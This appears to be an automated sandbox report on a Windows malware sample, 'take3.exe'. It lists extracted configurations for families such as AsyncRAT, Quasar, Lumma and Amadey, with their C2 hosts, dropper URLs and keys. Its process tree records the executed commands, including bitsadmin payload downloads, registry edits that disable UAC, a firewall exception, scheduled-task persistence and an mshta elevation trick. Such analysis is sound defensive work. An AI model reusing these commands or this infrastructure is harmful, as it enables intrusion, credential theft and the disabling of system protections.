Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
28/11/2024, 19:56
General
- Target take3.exe
- Size 14.3MB
- Sample241128-yns7batpbn
- SHA256 9f9cfe42a0768cc02609fcabf58b8ccce826d5d768e8c6d3a6728f543c4eac53
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
http://c3poolbat.oss-accelerate.aliyuncs.com/c3pool/WinRing0x64.sys
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
http://c3poolbat.oss-accelerate.aliyuncs.com/c3pool/config.json
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
http://c3poolbat.oss-accelerate.aliyuncs.com/c3pool/xmrig.exe
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
http://c3poolbat.oss-accelerate.aliyuncs.com/c3pool/nssm.exe
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://176.113.115.178/FF/2.png
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://176.113.115.178/FF/3.png
Extracted
Family
-
asyncrat
Version
-
0.5.8
Botnet
-
Default
C2
-
ser.nrovn.xyz:6606
-
ser.nrovn.xyz:7707
-
ser.nrovn.xyz:8808
Mutex
-
nfMlxLKxWkbD
Attributes
-
delay
3
-
install
true
-
install_file
http.exe
-
install_folder
%AppData%
aes.plain
Extracted
Family
-
lumma
C2
-
https://preside-comforter.sbs
-
https://savvy-steereo.sbs
-
https://copper-replace.sbs
-
https://record-envyp.sbs
-
https://slam-whipp.sbs
-
https://wrench-creter.sbs
-
https://looky-marked.sbs
-
https://plastic-mitten.sbs
-
https://tail-cease.cyou
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
SGVP
C2
-
192.168.1.9:4782
-
150.129.206.176:4782
-
Ai-Sgvp-33452.portmap.host:33452
Mutex
-
a35ec7b7-5a95-4207-8f25-7af0a7847fa5
Attributes
-
encryption_key
09BBDA8FF0524296F02F8F81158F33C0AA74D487
-
install_name
User Application Data.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Windowns Client Startup
-
subdirectory
Quasar
Extracted
Family
-
metasploit
Version
-
encoder/shikata_ga_nai
Extracted
Family
-
metasploit
Version
-
metasploit_stager
C2
-
144.34.162.13:3333
Extracted
Family
-
amadey
Version
-
5.10
Botnet
-
e43a13
C2
-
http://154.216.20.237
Attributes
-
install_dir
9f16311490
-
install_file
Gxtuum.exe
-
strings_key
a7aaea3610a351d7a88f318681678260
-
url_paths
/Gd84kkjf/index.php
rc4.plain
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
Office04
C2
-
14.243.221.170:2654
Mutex
-
a7b38fdd-192e-4e47-b9ba-ca9eb81cc7bd
Attributes
-
encryption_key
8B9AD736E943A06EAF1321AD479071E83805704C
-
install_name
Runtime Broker.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Runtime Broker
-
subdirectory
SubDir
Extracted
Family
-
metasploit
Version
-
windows/reverse_tcp
C2
-
64.176.38.237:8139
Extracted
Family
-
xworm
Version
-
5.0
C2
-
154.197.69.165:7000
-
panpoppo-25611.portmap.io:25611
Mutex
-
wPxAiY3vITAPeZGc
Attributes
-
Install_directory
%AppData%
-
install_file
System.exe
aes.plain
aes.plain
Extracted
Family
-
xred
C2
-
xred.mooo.com
Attributes
-
payload_url
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
http://xred.site50.net/syn/SUpdate.ini
https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
http://xred.site50.net/syn/Synaptics.rar
https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
http://xred.site50.net/syn/SSLLibrary.dll
Extracted
Family
-
lumma
C2
-
https://tail-cease.cyou/api
Signatures
- Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- Amadey family
- Ammyy Admin
Remote admin tool with various capabilities.
- AmmyyAdmin payload 1 IoCs
- Ammyyadmin family
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Asyncrat family
- Detect Xworm Payload 5 IoCs
- FlawedAmmyy RAT
Remote-access trojan based on leaked code for the Ammyy remote admin software.
- Flawedammyy family
- Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
- Lumma family
- MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
- Metasploit family
- Njrat family
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 5 IoCs
- UAC bypass 3 TTPs 7 IoCs
- Xmrig family
- Xred
Xred is backdoor written in Delphi.
- Xred family
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- njRAT/Bladabindi
Widely used RAT written in .NET.
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Async RAT payload 1 IoCs
- Enumerates VirtualBox registry keys 2 TTPs 1 IoCs
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
- XMRig Miner payload 1 IoCs
- Blocklisted process makes network request 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 26 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Download via BitsAdmin 1 TTPs 2 IoCs
- Downloads MZ/PE file
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 10 IoCs
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Sets file to hidden 1 TTPs 2 IoCs
Modifies file attributes to stop it showing in Explorer etc.
- Uses browser remote debugging 2 TTPs 13 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
- .NET Reactor proctector 2 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Checks BIOS information in registry 2 TTPs 6 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 13 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 3 IoCs
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 55 IoCs
- Identifies Wine through registry keys 2 TTPs 3 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Loads dropped DLL 43 IoCs
- Modifies file permissions 1 TTPs 2 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- VMProtect packed file 10 IoCs
Detects executables packed with VMProtect commercial packer.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- AutoIT Executable 2 IoCs
AutoIT scripts compiled to PE executables.
- Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- UPX packed file 17 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 2 IoCs
- Access Token Manipulation: Create Process with Token 1 TTPs 2 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Detects Pyinstaller 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Program crash 30 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 45 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- NSIS installer 2 IoCs
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 2 IoCs
- Enumerates system info in registry 2 TTPs 9 IoCs
- Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
- GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
- Kills process with taskkill 2 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 64 IoCs
- Opens file in notepad (likely ransom note) 2 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 14 IoCs
- Suspicious use of AdjustPrivilegeToken 42 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 53 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\take3.exe"C:\Users\Admin\AppData\Local\Temp\take3.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\take3.exe"C:\Users\Admin\AppData\Local\Temp\take3.exe"2⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Downloads\UrlHausFiles\dsd.exe"C:\Users\Admin\Downloads\UrlHausFiles\dsd.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\svchost.exe"C:\Users\Admin\AppData\Roaming\svchost.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\svchost.exe" "svchost.exe" ENABLE5⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 9965⤵
-
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\tvtC9D3.exe"C:\Users\Admin\Downloads\UrlHausFiles\tvtC9D3.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\ping.exeping -n 1 8.8.8.84⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\bitsadmin.exebitsadmin /transfer "DownloadUnRAR" /priority high "http://194.15.46.189/UnRAR.exe" "C:\Users\Admin\AppData\Local\Temp\UnRAR.exe"4⤵
- Download via BitsAdmin
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\bitsadmin.exebitsadmin /transfer "DownloadletgrtsC1" /priority high "http://194.15.46.189/letgrtsC1.rar" "C:\Users\Admin\AppData\Local\Temp\letgrtsC1.rar"4⤵
- Download via BitsAdmin
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\shttpsr_mg.exe"C:\Users\Admin\Downloads\UrlHausFiles\shttpsr_mg.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Downloads\UrlHausFiles\langla.exe"C:\Users\Admin\Downloads\UrlHausFiles\langla.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "http" /tr '"C:\Users\Admin\AppData\Roaming\http.exe"' & exit4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "http" /tr '"C:\Users\Admin\AppData\Roaming\http.exe"'5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpE81E.tmp.bat""4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\timeout.exetimeout 35⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Roaming\http.exe"C:\Users\Admin\AppData\Roaming\http.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\TPB-1.exe"C:\Users\Admin\Downloads\UrlHausFiles\TPB-1.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"4⤵
- Uses browser remote debugging
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf4,0xf8,0xfc,0xd0,0x100,0x7ffeaf67cc40,0x7ffeaf67cc4c,0x7ffeaf67cc585⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1968,i,9521404279577563719,9802053843117621187,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1964 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1864,i,9521404279577563719,9802053843117621187,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2012 /prefetch:35⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2256,i,9521404279577563719,9802053843117621187,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2456 /prefetch:85⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3160,i,9521404279577563719,9802053843117621187,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3180 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3188,i,9521404279577563719,9802053843117621187,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3220 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4564,i,9521404279577563719,9802053843117621187,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4596 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4856,i,9521404279577563719,9802053843117621187,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4876 /prefetch:85⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5040,i,9521404279577563719,9802053843117621187,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4664 /prefetch:85⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4656,i,9521404279577563719,9802053843117621187,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5056 /prefetch:85⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5112,i,9521404279577563719,9802053843117621187,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4628 /prefetch:85⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5104,i,9521404279577563719,9802053843117621187,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5344 /prefetch:85⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4896,i,9521404279577563719,9802053843117621187,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5336 /prefetch:85⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=5520,i,9521404279577563719,9802053843117621187,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5484 /prefetch:25⤵
- Uses browser remote debugging
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"4⤵
- Uses browser remote debugging
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffeaa5c46f8,0x7ffeaa5c4708,0x7ffeaa5c47185⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2080,4349545209397118218,18204725807592143253,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 /prefetch:35⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\BAFIEGIECGCB" & exit4⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 105⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\uxN4wDZ.exe"C:\Users\Admin\Downloads\UrlHausFiles\uxN4wDZ.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Downloads\UrlHausFiles\uxN4wDZ.exe"C:\Users\Admin\Downloads\UrlHausFiles\uxN4wDZ.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\22.exe"C:\Users\Admin\Downloads\UrlHausFiles\22.exe"3⤵
- Drops startup file
- Executes dropped EXE
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe" "C:\Users\Admin\Downloads\UrlHausFiles\paste.ps1"3⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Users\Admin\Downloads\UrlHausFiles\nbea1t8.exe"C:\Users\Admin\Downloads\UrlHausFiles\nbea1t8.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\Downloads\UrlHausFiles\SGVP%20Client%20Users.exe"C:\Users\Admin\Downloads\UrlHausFiles\SGVP%20Client%20Users.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Downloads\UrlHausFiles\av_downloader1.1.exe"C:\Users\Admin\Downloads\UrlHausFiles\av_downloader1.1.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D69.tmp\D6A.tmp\D6B.bat C:\Users\Admin\Downloads\UrlHausFiles\av_downloader1.1.exe"4⤵
-
C:\Windows\system32\mshta.exemshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\DOWNLO~1\URLHAU~1\AV_DOW~1.EXE","goto :target","","runas",1)(window.close)5⤵
- Checks computer location settings
- Access Token Manipulation: Create Process with Token
-
C:\Users\Admin\DOWNLO~1\URLHAU~1\AV_DOW~1.EXE"C:\Users\Admin\DOWNLO~1\URLHAU~1\AV_DOW~1.EXE" goto :target6⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\10C4.tmp\10C5.tmp\10C6.bat C:\Users\Admin\DOWNLO~1\URLHAU~1\AV_DOW~1.EXE goto :target"7⤵
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F8⤵
- UAC bypass
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F8⤵
- UAC bypass
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F8⤵
- UAC bypass
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKEY_CLASSES_ROOT\http\shell\open\command"8⤵
-
C:\Windows\system32\reg.exereg query HKEY_CLASSES_ROOT\http\shell\open\command9⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.pornhub.com/8⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffeaa5c46f8,0x7ffeaa5c4708,0x7ffeaa5c47189⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1956,7798941283357386581,9785834963748097858,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1960 /prefetch:29⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1956,7798941283357386581,9785834963748097858,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 /prefetch:39⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1956,7798941283357386581,9785834963748097858,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2816 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1956,7798941283357386581,9785834963748097858,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:19⤵
-
-
